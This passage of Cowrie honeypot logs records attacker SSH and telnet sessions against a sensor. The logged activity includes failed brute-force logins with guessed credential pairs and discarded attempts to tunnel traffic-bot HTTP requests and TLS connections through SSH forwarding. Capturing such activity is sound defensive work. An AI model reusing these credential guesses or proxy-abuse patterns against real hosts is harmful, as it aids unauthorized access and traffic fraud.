no-cache\\r\\n\\r\\n_=NjJraTkwUlhCPlVmQ09ofg%3D%3DMoOSGU%2FW%2BynOnJxkLQiHByWbux%2Fb6V%2BKMENwMnGTXDO0sjUdMnTmevWrQF8vRYY2hD8vsx7qHgVkOvd%2BzIL7L7BgxhbHIHEV2%2FG%2F8T4CEgCWdkXCB0Dqnjhh1ozrlEYJfUxyQfobnKuK1oMCrtA9QF04EKtLBr0qvDofhtEBUbnhreCRHj4glPeycDMylW%2B%2FtEMsRWQy8oGpb0u9Op7rtMIWT1%2FX%2BlFAoWtQV649Lz%2Bx13mKnITmJMs2drd2U54kTZSmIA3LhhIpeWKDewhTVvhht8BQGo%2BrNNEx0mSPpcV4OKi9U3BXUQAnc%2FhDIP%2FCSz%2BgkTRaN3eP8WvgNN%2F0ASmD2E9OXLXNI0VFVdUW9KMbcJV0kSEwWB5DwphCczPIqQMAtghuHC2A%2BssMwphm7UIaQbnaMI7yE1KNa4%2F0dZ6d%2FtEnUz7YJ2gVoSjikYSKr06XP0R6Lm4ebtSptjWdNzCDWP6RVj7LHh%2FjkmoyaaNbXjlUTjYCWE%2FZLSYTaBGMg0Jg%2BuMlc77bkKd%2FwHKs8ECcb50nbwRPk%2BfMpbx6jqG0GJ19UCpPk%2BfGkWjIjVPZWx6JRt5ZAsrS%2FwPlOutsmL3cPl7NgKnNGuA8RHohrAghqz6kM97c5JCYwFFDn%2BSdp6yFug40NvAehdfcfm7hLH1pmaid8D15T0pVPUergGobUWSRcCc56YBJutgEgaFBpTv%2BbWvISeVyvkt3QuYQoB6HLAPOpEHHbDUMFhhm8lv%2BSgRP870VBnR6EAx3wIP1wAkYk57FYN8os3MYb9YRx6KK%2BD2YpRZOIewcs9U%2FSMKWh7azXm2A88R%2F5os7rhpuAhtueyggr9esNExkIU4QTeo6BMX%2B4cC2n8ntUmP7TvscS4hNjuKGk7aTFlAMw0x0Ypas3uFh99bsIrTIctbmBu1COkXopp9cgw48EMiLTFUmwIBt%2FUVMY%2Bl56F2KKVZK%2FuTZeEnuzowMhCQ%2Bedz1bWrJkrmHONFRXcFJP62Qzzx3p09S2F8G6WsT7wNlQColcj%2BZMZykQ9Tfwux9IszBGK717EoNNprp6gJ65sXvXd8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/86.0.4240.198 Mobile/19A348 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=NjJraTkwUlhCPlVmQ09ofg%3D%3DMoOSGU%2FW%2BynOnJxkLQiHByWbux%2Fb6V%2BKMENwMnGTXDO0sjUdMnTmevWrQF8vRYY2hD8vsx7qHgVkOvd%2BzIL7L7BgxhbHIHEV2%2FG%2F8T4CEgCWdkXCB0Dqnjhh1ozrlEYJfUxyQfobnKuK1oMCrtA9QF04EKtLBr0qvDofhtEBUbnhreCRHj4glPeycDMylW%2B%2FtEMsRWQy8oGpb0u9Op7rtMIWT1%2FX%2BlFAoWtQV649Lz%2Bx13mKnITmJMs2drd2U54kTZSmIA3LhhIpeWKDewhTVvhht8BQGo%2BrNNEx0mSPpcV4OKi9U3BXUQAnc%2FhDIP%2FCSz%2BgkTRaN3eP8WvgNN%2F0ASmD2E9OXLXNI0VFVdUW9KMbcJV0kSEwWB5DwphCczPIqQMAtghuHC2A%2BssMwphm7UIaQbnaMI7yE1KNa4%2F0dZ6d%2FtEnUz7YJ2gVoSjikYSKr06XP0R6Lm4ebtSptjWdNzCDWP6RVj7LHh%2FjkmoyaaNbXjlUTjYCWE%2FZLSYTaBGMg0Jg%2BuMlc77bkKd%2FwHKs8ECcb50nbwRPk%2BfMpbx6jqG0GJ19UCpPk%2BfGkWjIjVPZWx6JRt5ZAsrS%2FwPlOutsmL3cPl7NgKnNGuA8RHohrAghqz6kM97c5JCYwFFDn%2BSdp6yFug40NvAehdfcfm7hLH1pmaid8D15T0pVPUergGobUWSRcCc56YBJutgEgaFBpTv%2BbWvISeVyvkt3QuYQoB6HLAPOpEHHbDUMFhhm8lv%2BSgRP870VBnR6EAx3wIP1wAkYk57FYN8os3MYb9YRx6KK%2BD2YpRZOIewcs9U%2FSMKWh7azXm2A88R%2F5os7rhpuAhtueyggr9esNExkIU4QTeo6BMX%2B4cC2n8ntUmP7TvscS4hNjuKGk7aTFlAMw0x0Ypas3uFh99bsIrTIctbmBu1COkXopp9cgw48EMiLTFUmwIBt%2FUVMY%2Bl56F2KKVZK%2FuTZeEnuzowMhCQ%2Bedz1bWrJkrmHONFRXcFJP62Qzzx3p09S2F8G6WsT7wNlQColcj%2BZMZykQ9Tfwux9IszBGK717EoNNprp6gJ65sXvXd8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.329569Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.566873Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98)\\xcb<s1w2\\x14\\xf0\\x13\\x08\\xcbr\\xf4\\x19\\xe9zH$.]v\\xaf\\x92\\xf4\\n\\xc2&!)\\xfb {\\x06\\x9c\\xe9#\\xbd\\x06!\\xfc\\x87\\xe9\\xcd\\xc0\\xbc\\xfd\\x94\\x11\\x08#\\x8e\\x80\\xc5\\xd9\\xe5\\xe26|KHU,\\xcd\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18n^a\\x8d\\x0bFx\\x8d>\\xf9 \\xe3\\xb4^$c\\x18\\xc5\\xa2\\x84\\xf95\\xefI\\x98W{\\x9d\\x91\\xf1{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x98)\\xcb<s1w2\\x14\\xf0\\x13\\x08\\xcbr\\xf4\\x19\\xe9zH$.]v\\xaf\\x92\\xf4\\n\\xc2&!)\\xfb {\\x06\\x9c\\xe9#\\xbd\\x06!\\xfc\\x87\\xe9\\xcd\\xc0\\xbc\\xfd\\x94\\x11\\x08#\\x8e\\x80\\xc5\\xd9\\xe5\\xe26|KHU,\\xcd\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x18n^a\\x8d\\x0bFx\\x8d>\\xf9 \\xe3\\xb4^$c\\x18\\xc5\\xa2\\x84\\xf95\\xefI\\x98W{\\x9d\\x91\\xf1{\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.570529Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:45.925579Z","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:46.173408Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=.^0\\x11\\xbf\\xc2\\xdes\\x94\\xdf&\\xc3\\xf5!4EK_\\xae\\xb3?\\x1ay\\xa6\\xdfcO\\xf9=\\xab\\xaf \\xa8\\x08\\x13\\x94\\xdd\\xcc\\xfe;\\xbbfI\\x985\\xda\\xc8\\xc4\\x94#\\x9b<}\\x11\\xb1x\\xb3+\\xef\\xedT\\x8cc{\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xb7#H\\x01%\\x80\\xaa\\x03Q|\\x10#<;=\\x8al\\xff\\'\\x03g\\xcc\\x1d\\xb5\\xb1\\xa3\\x7f0Q\\xddD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03=.^0\\x11\\xbf\\xc2\\xdes\\x94\\xdf&\\xc3\\xf5!4EK_\\xae\\xb3?\\x1ay\\xa6\\xdfcO\\xf9=\\xab\\xaf \\xa8\\x08\\x13\\x94\\xdd\\xcc\\xfe;\\xbbfI\\x985\\xda\\xc8\\xc4\\x94#\\x9b<}\\x11\\xb1x\\xb3+\\xef\\xedT\\x8cc{\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 a\\xb7#H\\x01%\\x80\\xaa\\x03Q|\\x10#<;=\\x8al\\xff\\'\\x03g\\xcc\\x1d\\xb5\\xb1\\xa3\\x7f0Q\\xddD\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:46.176797Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:46.569443Z","src_ip":"123.27.168.40","session":"d0d110f1f293","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":49855,"dst_ip":"159.203.135.109","dst_port":22,"session":"9725995e3be8","protocol":"ssh","message":"New connection: 49.247.37.22:49855 (159.203.135.109:22) [session: 9725995e3be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:46.809876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:46.814606Z","src_ip":"49.247.37.22","session":"9725995e3be8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:47.023899Z","src_ip":"49.247.37.22","session":"9725995e3be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.10074853897095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:47.127338Z","src_ip":"50.65.170.8","session":"f25fff092aa2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Root1234","message":"login attempt [ubuntu/Root1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:47.903737Z","src_ip":"49.247.37.22","session":"9725995e3be8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:49.123465Z","src_ip":"49.247.37.22","session":"9725995e3be8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.99.213.222","src_port":50852,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d00140649b9","protocol":"ssh","message":"New connection: 2.99.213.222:50852 (159.203.135.109:22) [session: 8d00140649b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:51.011641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:51.016325Z","src_ip":"2.99.213.222","session":"8d00140649b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:51.120288Z","src_ip":"2.99.213.222","session":"8d00140649b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webserver","password":"1","message":"login attempt [webserver/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:51.559413Z","src_ip":"2.99.213.222","session":"8d00140649b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:41:52.665290Z","src_ip":"2.99.213.222","session":"8d00140649b9","protocol":"ssh"}
